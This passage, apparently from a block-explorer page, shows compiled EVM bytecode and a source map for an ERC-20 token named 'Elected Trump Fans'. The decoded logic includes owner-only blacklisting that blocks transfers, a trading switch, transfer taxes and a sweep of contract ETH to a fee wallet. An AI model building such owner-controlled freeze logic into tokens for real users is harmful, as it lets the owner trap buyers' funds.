b80851615611b1757918102915b93841c9390800290611aee565b509250929050565b600082611b3b5750600161045e565b81611b485750600061045e565b8160018114611b5e5760028114611b6857611b84565b600191505061045e565b60ff841115611b7957611b79611ad3565b50506001821b61045e565b5060208310610133831016604e8410600b8410161715611ba7575081810a61045e565b611bb18383611ae9565b8060001904821115611bc557611bc5611ad3565b029392505050565b600061131460ff841683611b2c565b808202811582820484141761045e5761045e611ad3565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201611c5057611c50611ad3565b5060010190565b600060208284031215611c6957600080fd5b81516113148161190d565b600080600060608486031215611c8957600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611cb457600080fd5b8151801515811461131457600080fd5b8082018082111561045e5761045e611ad3565b8181038181111561045e5761045e611ad3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d3a5784516001600160a01b031683529383019391830191600101611d15565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d7857634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dadc4eb257814fd89c1d9ced406c8925ce02dfe2c40fdb6004c668d66045c0b764736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101395760003560e01c80637d1db4a5116100ab578063bf474bed1161006f578063bf474bed14610392578063c9567bf9146103a8578063d34628cc146103bd578063dd62ed3e146103dd578063e8078d9414610423578063fc76729c1461043857600080fd5b80637d1db4a5146102f25780638da5cb5b146103085780638f9a55c01461033057806395d89b4114610346578063a9059cbb1461037257600080fd5b8063313ce567116100fd578063313ce5671461021b57806331c2d847146102375780633bbac5791461025957806370a0823114610292578063715018a6146102c8578063751039fc146102dd57600080fd5b806306fdde0314610145578063095ea7b3146101925780630faee56f146101c257806318160ddd146101e657806323b872dd146101fb57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b50604080518082019091526012815271456c6563746564205472756d702046616e7360701b60208201525b60405161018991906118bf565b60405180910390f35b34801561019e57600080fd5b506101b26101ad366004611935565b61044d565b6040519015158152602001610189565b3480156101ce57600080fd5b506101d860135481565b604051908152602001610189565b3480156101f257600080fd5b506101d8610464565b34801561020757600080fd5b506101b2610216366004611961565b610485565b34801561022757600080fd5b5060405160098152602001610189565b34801561024357600080fd5b506102576102523660046119b8565b6104ee565b005b34801561026557600080fd5b506101b2610274366004611a7d565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561029e57600080fd5b506101d86102ad366004611a7d565b6001600160a01b031660009081526001602052604090205490565b3480156102d457600080fd5b5061025761058d565b3480156102e957600080fd5b50610257610601565b3480156102fe57600080fd5b506101d860105481565b34801561031457600080fd5b506000546040516001600160a01b039091168152602001610189565b34801561033c57600080fd5b506101d860115481565b34801561035257600080fd5b5060408051808201909152600381526222aa2360e91b602082015261017c565b34801561037e57600080fd5b506101b261038d366004611935565b610684565b34801561039e57600080fd5b506101d860125481565b3480156103b457600080fd5b50610257610691565b3480156103c957600080fd5b506102576103d83660046119b8565b610718565b3480156103e957600080fd5b506101d86103f8366004611a9a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561042f57600080fd5b506102576107aa565b34801561044457600080fd5b50610257610b29565b600061045a338484610b5e565b5060015b92915050565b60006104726009600a611bcd565b610480906305f5e100611bdc565b905090565b6000610492848484610c83565b6104e484336104df85604051806060016040528060288152602001611d7e602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906111e9565b610b5e565b5060019392505050565b6000546001600160a01b031633146105215760405162461bcd60e51b815260040161051890611bf3565b60405180910390fd5b60005b81518110156105895760006004600084848151811061054557610545611c28565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061058181611c3e565b915050610524565b5050565b6000546001600160a01b031633146105b75760405162461bcd60e51b815260040161051890611bf3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461062b5760405162461bcd60e51b815260040161051890611bf3565b60001960108190556011557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106636009600a611bcd565b610671906305f5e100611bdc565b60405190815260200160405180910390a1565b600061045a338484610c83565b6000546001600160a01b031633146106bb5760405162461bcd60e51b815260040161051890611bf3565b60145460ff16156107055760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b6044820152606401610518565b6014805462ff00ff191662010001179055565b6000546001600160a01b031633146107425760405162461bcd60e51b815260040161051890611bf3565b60005b81518110156105895760016004600084848151811061076657610766611c28565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107a281611c3e565b915050610745565b6000546001600160a01b031633146107d45760405162461bcd60e51b815260040161051890611bf3565b60145460ff161561081d5760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b6044820152606401610518565b600061082b6009600a611bcd565b6108399063055d4a80611bdc565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091559091506108859030906108776009600a611bcd565b6104df906305f5e100611bdc565b600e60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fc9190611c57565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561095e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109829190611c57565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f39190611c57565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a87573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aac9190611c74565b5050600f54600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b05573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105899190611ca2565b6000546001600160a01b03163314610b535760405162461bcd60e51b815260040161051890611bf3565b610b5c47611223565b565b6001600160a01b038316610bc05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610518565b6001600160a01b038216610c215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610518565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ce75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610518565b6001600160a01b038216610d495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610518565b60008111610dab5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610518565b60145460ff16610e37576001600160a01b03821660009081526003602052604090205460ff1680610df457506001600160a01b03831660009081526003602052604090205460ff165b610e375760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b6044820152606401610518565b60145462010000900460ff161580610e565750601454610100900460ff165b15610e6b57610e6683838361125d565b505050565b6000546001600160a01b03848116911614801590610e9757506000546001600160a01b03838116911614155b156111b4576001600160a01b03831660009081526004602052604090205460ff16158015610ede57506001600160a01b03821660009081526004602052604090205460ff16155b610ee757600080fd5b600f546001600160a01b038481169116148015610f125750600e546001600160a01b03838116911614155b8015610f3757506001600160a01b03821660009081526003602052604090205460ff16155b1561101f57601054811115610f8e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610518565b60115481610fb1846001600160a01b031660009081526001602052604090205490565b610fbb9190611cc4565b11156110095760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610518565b600d805490600061101983611c3e565b91905055505b600f546001600160a01b0383811691161480159061105657506001600160a01b03821660009081526003602052604090205460ff16155b156110d6576011548161107e846001600160a01b031660009081526001602052604090205490565b6110889190611cc4565b11156110d65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610518565b30600090815260016020526040902054601454610100900460ff1615801561110b5750600f546001600160a01b038481169116145b801561111f575060145462010000900460ff165b801561112e5750600c54600d54115b801561115357506001600160a01b03841660009081526003602052604090205460ff16155b801561117857506001600160a01b03831660009081526003602052604090205460ff16155b156111b257601254811180156111a5576111a56111a08461119b85601354611303565b611303565b61131b565b476111af47611223565b50505b505b60006111bf8461148f565b90506000806111cf8686866114b9565b915091506111e18686858786866115f5565b505050505050565b6000818484111561120d5760405162461bcd60e51b815260040161051891906118bf565b50600061121a8486611cd7565b95945050505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610589573d6000803e3d6000fd5b6001600160a01b0383166000908152600160205260409020546112809082611731565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546112af9082611773565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c769085815260200190565b60008183116113125782611314565b815b9392505050565b6014805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061135f5761135f611c28565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113dc9190611c57565b816001815181106113ef576113ef611c28565b6001600160a01b039283166020918202929092010152600e546114159130911684610b5e565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061144e908590600090869030904290600401611cea565b600060405180830381600087803b15801561146857600080fd5b505af115801561147c573d6000803e3d6000fd5b50506014805461ff001916905550505050565b6001600160a01b03811660009081526003602052604081205460ff166114b5573061045e565b5090565b6001600160a01b03831660009081526003602052604081205481908190849060ff16156114fc576114f560646114ef87826117d2565b90611854565b91506115e9565b600f546001600160a01b0388811691161480156115275750600e546001600160a01b03878116911614155b801561154c57506001600160a01b03861660009081526003602052604090205460ff16155b1561158a5761157760646114ef600a54600d541161156c57600654611570565b6008545b88906117d2565b91506115838282611cd7565b90506115e9565b600f546001600160a01b0387811691161480156115b057506001600160a01b0387163014155b156115e9576115da60646114ef600b54600d54116115d057600754611570565b60095488906117d2565b91506115e68282611cd7565b90505b90969095509350505050565b811561167b576001600160a01b03841660009081526001602052604090205461161e9083611773565b6001600160a01b0380861660008181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116729086815260200190565b60405180910390a35b6001600160a01b03861660009081526001602052604090205461169e9084611731565b6001600160a01b0380881660009081526001602052604080822093909355908716815220546116cd9082611773565b6001600160a01b0380871660008181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117219085815260200190565b60405180910390a3505050505050565b600061131483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e9565b6000806117808385611cc4565b9050838110156113145760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610518565b6000826000036117e45750600061045e565b60006117f08385611bdc565b9050826117fd8583611d5b565b146113145760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610518565b600061131483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836118b25760405162461bcd60e51b815260040161051891906118bf565b50600061121a8486611d5b565b600060208083528351808285015260005b818110156118ec578581018301518582016040015282016118d0565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461192257600080fd5b50565b80356119308161190d565b919050565b6000806040838503121561194857600080fd5b82356119538161190d565b946020939093013593505050565b60008060006060848603121561197657600080fd5b83356119818161190d565b925060208401356119918161190d565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119cb57600080fd5b823567ffffffffffffffff808211156119e357600080fd5b818501915085601f8301126119f757600080fd5b813581811115611a0957611a096119a2565b8060051b604051601f19603f83011681018181108582111715611a2e57611a2e6119a2565b604052918252848201925083810185019188831115611a4c57600080fd5b938501935b82851015611a7157611a6285611925565b84529385019392850192611a51565b98975050505050505050565b600060208284031215611a8f57600080fd5b81356113148161190d565b60008060408385031215611aad57600080fd5b8235611ab88161190d565b91506020830135611ac88161190d565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611b24578160001904821115611b0a57611b0a611ad3565b80851615611b1757918102915b93841c9390800290611aee565b509250929050565b600082611b3b5750600161045e565b81611b485750600061045e565b8160018114611b5e5760028114611b6857611b84565b600191505061045e565b60ff841115611b7957611b79611ad3565b50506001821b61045e565b5060208310610133831016604e8410600b8410161715611ba7575081810a61045e565b611bb18383611ae9565b8060001904821115611bc557611bc5611ad3565b029392505050565b600061131460ff841683611b2c565b808202811582820484141761045e5761045e611ad3565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201611c5057611c50611ad3565b5060010190565b600060208284031215611c6957600080fd5b81516113148161190d565b600080600060608486031215611c8957600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611cb457600080fd5b8151801515811461131457600080fd5b8082018082111561045e5761045e611ad3565b8181038181111561045e5761045e611ad3565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d3a5784516001600160a01b031683529383019391830191600101611d15565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d7857634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dadc4eb257814fd89c1d9ced406c8925ce02dfe2c40fdb6004c668d66045c0b764736f6c63430008110033

Deployed Bytecode Sourcemap

4249:11311:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6176:83;;;;;;;;;;-1:-1:-1;6246:5:0;;;;;;;;;;;;-1:-1:-1;;;6246:5:0;;;;6176:83;;;;;;;:::i;:::-;;;;;;;;7059:186;;;;;;;;;;-1:-1:-1;7059:186:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;7059:186:0;1162:187:1;5496:54:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;5496:54:0;1354:177:1;6453:95:0;;;;;;;;;;;;;:::i;7518:446::-;;;;;;;;;;-1:-1:-1;7518:446:0;;;;;:::i;:::-;;:::i;6362:83::-;;;;;;;;;;-1:-1:-1;6362:83:0;;5062:1;2139:36:1;;2127:2;2112:18;6362:83:0;1997:184:1;14258:171:0;;;;;;;;;;-1:-1:-1;14258:171:0;;;;;:::i;:::-;;:::i;:::-;;14437:86;;;;;;;;;;-1:-1:-1;14437:86:0;;;;;:::i;:::-;-1:-1:-1;;;;;14508:7:0;14484:4;14508:7;;;:4;:7;;;;;;;;;14437:86;6556:119;;;;;;;;;;-1:-1:-1;6556:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6649:18:0;6622:7;6649:18;;;:9;:18;;;;;;;6556:119;3244:148;;;;;;;;;;;;;:::i;13696:170::-;;;;;;;;;;;;;:::i;5308:55::-;;;;;;;;;;;;;;;;3030:79;;;;;;;;;;-1:-1:-1;3068:7:0;3095:6;3030:79;;-1:-1:-1;;;;;3095:6:0;;;3842:51:1;;3830:2;3815:18;3030:79:0;3696:203:1;5370:57:0;;;;;;;;;;;;;;;;6267:87;;;;;;;;;;-1:-1:-1;6339:7:0;;;;;;;;;;;;-1:-1:-1;;;6339:7:0;;;;6267:87;;6683:192;;;;;;;;;;-1:-1:-1;6683:192:0;;;;;:::i;:::-;;:::i;5434:55::-;;;;;;;;;;;;;;;;14531:166;;;;;;;;;;;;;:::i;14083:167::-;;;;;;;;;;-1:-1:-1;14083:167:0;;;;;:::i;:::-;;:::i;6883:168::-;;;;;;;;;;-1:-1:-1;6883:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7016:18:0;;;6989:7;7016:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6883:168;14705:815;;;;;;;;;;;;;:::i;13874:101::-;;;;;;;;;;;;;:::i;7059:186::-;7159:4;7176:39;645:10;7199:7;7208:6;7176:8;:39::i;:::-;-1:-1:-1;7233:4:0;7059:186;;;;;:::o;6453:95::-;6506:7;5167:15;5062:1;5167:2;:15;:::i;:::-;5155:27;;:9;:27;:::i;:::-;6526:14;;6453:95;:::o;7518:446::-;7650:4;7667:36;7677:6;7685:9;7696:6;7667:9;:36::i;:::-;7714:220;7737:6;645:10;7785:138;7841:6;7785:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7785:19:0;;;;;;:11;:19;;;;;;;;645:10;7785:33;;;;;;;;;;:37;:138::i;:::-;7714:8;:220::i;:::-;-1:-1:-1;7952:4:0;7518:446;;;;;:::o;14258:171::-;3157:6;;-1:-1:-1;;;;;3157:6:0;645:10;3157:22;3149:67;;;;-1:-1:-1;;;3149:67:0;;;;;;;:::i;:::-;;;;;;;;;14333:9:::1;14328:94;14352:6;:13;14348:1;:17;14328:94;;;14405:5;14387:4;:15;14392:6;14399:1;14392:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;14387:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;14387:15:0;:23;;-1:-1:-1;;14387:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14367:3;::::1;::::0;::::1;:::i;:::-;;;;14328:94;;;;14258:171:::0;:::o;3244:148::-;3157:6;;-1:-1:-1;;;;;3157:6:0;645:10;3157:22;3149:67;;;;-1:-1:-1;;;3149:67:0;;;;;;;:::i;:::-;3351:1:::1;3335:6:::0;;3314:40:::1;::::0;-1:-1:-1;;;;;3335:6:0;;::::1;::::0;3314:40:::1;::::0;3351:1;;3314:40:::1;3382:1;3365:19:::0;;-1:-1:-1;;;;;;3365:19:0::1;::::0;;3244:148::o;13696:170::-;3157:6;;-1:-1:-1;;;;;3157:6:0;645:10;3157:22;3149:67;;;;-1:-1:-1;;;3149:67:0;;;;;;;:::i;:::-;-1:-1:-1;;13750:12:0::1;:26:::0;;;13787:14:::1;:28:::0;13831:27:::1;5167:15;5062:1;5167:2;:15;:::i;:::-;5155:27;::::0;:9:::1;:27;:::i;:::-;13831;::::0;1500:25:1;;;1488:2;1473:18;13831:27:0::1;;;;;;;13696:170::o:0;6683:192::-;6786:4;6803:42;645:10;6827:9;6838:6;6803:9;:42::i;14531:166::-;3157:6;;-1:-1:-1;;;;;3157:6:0;645:10;3157:22;3149:67;;;;-1:-1:-1;;;3149:67:0;;;;;;;:::i;:::-;14593:11:::1;::::0;::::1;;14592:12;14584:45;;;::::0;-1:-1:-1;;;14584:45:0;;6820:2:1;14584:45:0::1;::::0;::::1;6802:21:1::0;6859:2;6839:18;;;6832:30;-1:-1:-1;;;6878:18:1;;;6871:50;6938:18;;14584:45:0::1;6618:344:1::0;14584:45:0::1;14642:11;:18:::0;;-1:-1:-1;;14671:18:0;;;;;14531:166::o;14083:167::-;3157:6;;-1:-1:-1;;;;;3157:6:0;645:10;3157:22;3149:67;;;;-1:-1:-1;;;3149:67:0;;;;;;;:::i;:::-;14157:9:::1;14152:91;14176:5;:12;14172:1;:16;14152:91;;;14227:4;14210;:14;14215:5;14221:1;14215:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;14210:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;14210:14:0;:21;;-1:-1:-1;;14210:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14190:3;::::1;::::0;::::1;:::i;:::-;;;;14152:91;;14705:815:::0;3157:6;;-1:-1:-1;;;;;3157:6:0;645:10;3157:22;3149:67;;;;-1:-1:-1;;;3149:67:0;;;;;;;:::i;:::-;14768:11:::1;::::0;::::1;;14767:12;14759:44;;;::::0;-1:-1:-1;;;14759:44:0;;7169:2:1;14759:44:0::1;::::0;::::1;7151:21:1::0;7208:2;7188:18;;;7181:30;-1:-1:-1;;;7227:18:1;;;7220:49;7286:18;;14759:44:0::1;6967:343:1::0;14759:44:0::1;14814:19;14847:15;5062:1;14847:2;:15;:::i;:::-;14836:26;::::0;:8:::1;:26;:::i;:::-;14873:15;:104:::0;;-1:-1:-1;;;;;;14873:104:0::1;14924:42;14873:104:::0;;::::1;::::0;;;14814:48;;-1:-1:-1;14988:58:0::1;::::0;15005:4:::1;::::0;5167:15:::1;5062:1;5167:2;:15;:::i;:::-;5155:27;::::0;:9:::1;:27;:::i;14988:58::-;15091:15;;;;;;;;;-1:-1:-1::0;;;;;15091:15:0::1;-1:-1:-1::0;;;;;15091:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15073:55:0::1;;15151:4;15171:15;;;;;;;;;-1:-1:-1::0;;;;;15171:15:0::1;-1:-1:-1::0;;;;;15171:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15073:131;::::0;-1:-1:-1;;;;;;15073:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7801:15:1;;;15073:131:0::1;::::0;::::1;7783:34:1::0;7853:15;;7833:18;;;7826:43;7718:18;;15073:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15057:13;:147:::0;;-1:-1:-1;;;;;;15057:147:0::1;-1:-1:-1::0;;;;;15057:147:0;;::::1;;::::0;;15215:15:::1;::::0;::::1;:31;15254:21;15299:4;15319:11:::0;-1:-1:-1;;645:10:0;15215:215:::1;::::0;::::1;::::0;;;-1:-1:-1;;;;;;15215:215:0;;;-1:-1:-1;;;;;8239:15:1;;;15215:215:0::1;::::0;::::1;8221:34:1::0;8271:18;;;8264:34;;;;8314:18;;;8307:34;;;;8357:18;;;8350:34;8421:15;;;8400:19;;;8393:44;15404:15:0::1;8453:19:1::0;;;8446:35;8155:19;;15215:215:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;15448:13:0::1;::::0;15479:15:::1;::::0;15441:71:::1;::::0;-1:-1:-1;;;15441:71:0;;-1:-1:-1;;;;;15479:15:0;;::::1;15441:71;::::0;::::1;8977:51:1::0;-1:-1:-1;;9044:18:1;;;9037:34;15448:13:0;::::1;::::0;-1:-1:-1;15441:29:0::1;::::0;8950:18:1;;15441:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;13874:101::-:0;3157:6;;-1:-1:-1;;;;;3157:6:0;645:10;3157:22;3149:67;;;;-1:-1:-1;;;3149:67:0;;;;;;;:::i;:::-;13932:35:::1;13945:21;13932:12;:35::i;:::-;13874:101::o:0;7972:335::-;-1:-1:-1;;;;;8065:19:0;;8057:68;;;;-1:-1:-1;;;8057:68:0;;9566:2:1;8057:68:0;;;9548:21:1;9605:2;9585:18;;;9578:30;9644:34;9624:18;;;9617:62;-1:-1:-1;;;9695:18:1;;;9688:34;9739:19;;8057:68:0;9364:400:1;8057:68:0;-1:-1:-1;;;;;8144:21:0;;8136:68;;;;-1:-1:-1;;;8136:68:0;;9971:2:1;8136:68:0;;;9953:21:1;10010:2;9990:18;;;9983:30;10049:34;10029:18;;;10022:62;-1:-1:-1;;;10100:18:1;;;10093:32;10142:19;;8136:68:0;9769:398:1;8136:68:0;-1:-1:-1;;;;;8215:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8267:32;;1500:25:1;;;8267:32:0;;1473:18:1;8267:32:0;;;;;;;;7972:335;;;:::o;8862:2658::-;-1:-1:-1;;;;;8959:21:0;;8951:71;;;;-1:-1:-1;;;8951:71:0;;10374:2:1;8951:71:0;;;10356:21:1;10413:2;10393:18;;;10386:30;10452:34;10432:18;;;10425:62;-1:-1:-1;;;10503:18:1;;;10496:35;10548:19;;8951:71:0;10172:401:1;8951:71:0;-1:-1:-1;;;;;9041:22:0;;9033:70;;;;-1:-1:-1;;;9033:70:0;;10780:2:1;9033:70:0;;;10762:21:1;10819:2;10799:18;;;10792:30;10858:34;10838:18;;;10831:62;-1:-1:-1;;;10909:18:1;;;10902:33;10952:19;;9033:70:0;10578:399:1;9033:70:0;9131:1;9122:6;:10;9114:64;;;;-1:-1:-1;;;9114:64:0;;11184:2:1;9114:64:0;;;11166:21:1;11223:2;11203:18;;;11196:30;11262:34;11242:18;;;11235:62;-1:-1:-1;;;11313:18:1;;;11306:39;11362:19;;9114:64:0;10982:405:1;9114:64:0;9196:11;;;;9191:186;;-1:-1:-1;;;;;9250:28:0;;;;;;:18;:28;;;;;;;;;:59;;-1:-1:-1;;;;;;9282:27:0;;;;;;:18;:27;;;;;;;;9250:59;9224:141;;;;-1:-1:-1;;;9224:141:0;;11594:2:1;9224:141:0;;;11576:21:1;11633:2;11613:18;;;11606:30;-1:-1:-1;;;11652:18:1;;;11645:50;11712:18;;9224:141:0;11392:344:1;9224:141:0;9394:11;;;;;;;9393:12;;:22;;-1:-1:-1;9409:6:0;;;;;;;9393:22;9389:117;;;9432:41;9447:7;9456:8;9466:6;9432:14;:41::i;:::-;8862:2658;;;:::o;9389:117::-;3068:7;3095:6;-1:-1:-1;;;;;9522:18:0;;;3095:6;;9522:18;;;;:41;;-1:-1:-1;3068:7:0;3095:6;-1:-1:-1;;;;;9544:19:0;;;3095:6;;9544:19;;9522:41;9518:1705;;;-1:-1:-1;;;;;9589:13:0;;;;;;:4;:13;;;;;;;;9588:14;:33;;;;-1:-1:-1;;;;;;9607:14:0;;;;;;:4;:14;;;;;;;;9606:15;9588:33;9580:42;;;;;;9672:13;;-1:-1:-1;;;;;9661:24:0;;;9672:13;;9661:24;:81;;;;-1:-1:-1;9726:15:0;;-1:-1:-1;;;;;9706:36:0;;;9726:15;;9706:36;;9661:81;:131;;;;-1:-1:-1;;;;;;9764:28:0;;;;;;:18;:28;;;;;;;;9763:29;9661:131;9639:461;;;9845:12;;9835:6;:22;;9827:60;;;;-1:-1:-1;;;9827:60:0;;11943:2:1;9827:60:0;;;11925:21:1;11982:2;11962:18;;;11955:30;12021:27;12001:18;;;11994:55;12066:18;;9827:60:0;11741:349:1;9827:60:0;9968:14;;9958:6;9936:19;9946:8;-1:-1:-1;;;;;6649:18:0;6622:7;6649:18;;;:9;:18;;;;;;;6556:119;9936:19;:28;;;;:::i;:::-;:46;;9906:146;;;;-1:-1:-1;;;9906:146:0;;12427:2:1;9906:146:0;;;12409:21:1;12466:2;12446:18;;;12439:30;12505:28;12485:18;;;12478:56;12551:18;;9906:146:0;12225:350:1;9906:146:0;10073:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9639:461;10132:13;;-1:-1:-1;;;;;10120:25:0;;;10132:13;;10120:25;;;;:58;;-1:-1:-1;;;;;;10150:28:0;;;;;;:18;:28;;;;;;;;10149:29;10120:58;10116:245;;;10261:14;;10251:6;10229:19;10239:8;-1:-1:-1;;;;;6649:18:0;6622:7;6649:18;;;:9;:18;;;;;;;6556:119;10229:19;:28;;;;:::i;:::-;:46;;10199:146;;;;-1:-1:-1;;;10199:146:0;;12427:2:1;10199:146:0;;;12409:21:1;12466:2;12446:18;;;12439:30;12505:28;12485:18;;;12478:56;12551:18;;10199:146:0;12225:350:1;10199:146:0;10426:4;10377:28;6649:18;;;:9;:18;;;;;;10470:6;;;;;;;10469:7;:53;;;;-1:-1:-1;10509:13:0;;-1:-1:-1;;;;;10497:25:0;;;10509:13;;10497:25;10469:53;:85;;;;-1:-1:-1;10543:11:0;;;;;;;10469:85;:136;;;;;10587:18;;10575:9;;:30;10469:136;:185;;;;-1:-1:-1;;;;;;10627:27:0;;;;;;:18;:27;;;;;;;;10626:28;10469:185;:235;;;;-1:-1:-1;;;;;;10676:28:0;;;;;;:18;:28;;;;;;;;10675:29;10469:235;10447:765;;;10777:17;;10754:40;;10813:172;;;;10848:117;10891:51;10895:6;10903:38;10907:20;10929:11;;10903:3;:38::i;:::-;10891:3;:51::i;:::-;10848:16;:117::i;:::-;11050:21;11142:35;11155:21;11142:12;:35::i;:::-;10720:492;;10447:765;9565:1658;9518:1705;11233:17;11253:22;11267:7;11253:13;:22::i;:::-;11233:42;;11287:17;11306:22;11332:90;11360:7;11382:8;11405:6;11332:13;:90::i;:::-